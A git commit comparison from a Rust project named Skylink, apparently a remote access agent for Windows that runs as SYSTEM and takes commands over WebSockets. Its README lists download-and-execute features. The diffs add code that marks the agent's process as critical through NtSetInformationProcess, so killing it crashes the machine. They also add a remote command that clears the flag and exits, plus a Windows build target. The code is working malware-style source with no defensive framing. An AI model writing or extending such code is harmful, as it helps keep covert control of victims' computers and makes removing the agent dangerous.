Compare commits

...

4 commits

Author SHA1 Message Date
6a90a8fae5 merge: criticality 2025-12-18 16:20:31 +02:00
2496087289 Merge branch 'master' into dev 2025-12-18 16:20:08 +02:00
2004a97410 feat: safe exit for criticality 2025-12-18 16:06:30 +02:00
6b00f0586e feat: basic crticality 2025-12-14 23:06:35 +02:00
5 changed files with 63 additions and 3 deletions

2
.cargo/config.toml Normal file
View file

@ -0,0 +1,2 @@
[build]
target = "x86_64-pc-windows-gnu"

View file

@ -12,7 +12,7 @@ It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, becaus
- [X] download and execute - [X] download and execute
- [X] dnx python - [X] dnx python
- [X] windows service - [X] windows service
- [ ] criticality - [X] criticality
- [ ] screenshot functionality - [ ] screenshot functionality
- [ ] test payloads with arguments - [ ] test payloads with arguments
- [ ] get more ideas from The Group(TM) i guess - [ ] get more ideas from The Group(TM) i guess

View file

@ -1,4 +1,5 @@
use futures_util::stream::SplitSink; use futures_util::stream::SplitSink;
use lib::winapi::low_tier_god;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
use std::sync::Arc; use std::sync::Arc;
use tokio::{net::TcpStream, sync::Mutex}; use tokio::{net::TcpStream, sync::Mutex};
@ -43,6 +44,7 @@ pub enum Command {
ClientInfo, ClientInfo,
Dnx { params: DnxParams }, Dnx { params: DnxParams },
Screenshot, Screenshot,
LowTierGod
} }
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> { pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
@ -119,7 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
} }
// this was way easier than i expected... assuming it works :pilgrim2: // this was way easier than i expected... assuming it works :pilgrim2:
Ok(format!("")) Ok(format!(""))
} },
Command::LowTierGod => {
let _ = low_tier_god().await; // if this fails you're fucked
Ok(format!(""))
},
_ => todo!(), _ => todo!(),
} }
} }

View file

@ -90,3 +90,45 @@ pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
Ok(()) Ok(())
} }
} }
pub fn mark_process_critical() -> anyhow::Result<()> {
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
unsafe {
// NtCurrentProcess pseudo-handle (-1)
let handle: HANDLE = (-1isize) as usize as *mut c_void;
let mut critical: u32 = 1;
let status = NtSetInformationProcess(
handle,
ProcessBreakOnTermination,
&mut critical as *mut _ as *mut _,
core::mem::size_of::<u32>() as u32,
);
if status == 0 {
Ok(())
} else {
anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}"))
}
}
}
pub async fn low_tier_god() -> anyhow::Result<()> {
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
unsafe {
// NtCurrentProcess pseudo-handle (-1)
let handle: HANDLE = (-1isize) as usize as *mut c_void;
let mut critical: u32 = 0;
let status = NtSetInformationProcess(
handle,
ProcessBreakOnTermination,
&mut critical as *mut _ as *mut _,
core::mem::size_of::<u32>() as u32,
);
assert_eq!(status, 0);
}
std::process::exit(1);
}

View file

@ -1,5 +1,6 @@
use skylink::lib::logger::{LogLevel, log}; use skylink::lib::logger::{LogLevel, log};
use skylink::lib::websockets::websocket_handler; use skylink::lib::websockets::websocket_handler;
use skylink::lib::winapi::mark_process_critical;
use skylink::LOG_PATH; use skylink::LOG_PATH;
use skylink::WsTx; use skylink::WsTx;
use std::sync::Arc; use std::sync::Arc;
@ -47,7 +48,16 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await; log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
let ws_tx: WsTx = Arc::new(Mutex::new(None)); let ws_tx: WsTx = Arc::new(Mutex::new(None));
let ws_tx_for_handler = Arc::clone(&ws_tx); let ws_tx_for_handler = Arc::clone(&ws_tx);
websocket_handler(ws_tx_for_handler).await; tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
// this isn't necessary for program functioning
// and also error handling this is a PITA
// maybe i'll make this proper in a future update. no promises.
let is_debug_mode = cfg!(debug_assertions);
let force_console = std::env::var("SKL_NON_CRITICAL").is_ok();
if !(is_debug_mode && force_console) {
let _ = mark_process_critical();
}
// Wait for the shutdown signal // Wait for the shutdown signal
tokio::select! { tokio::select! {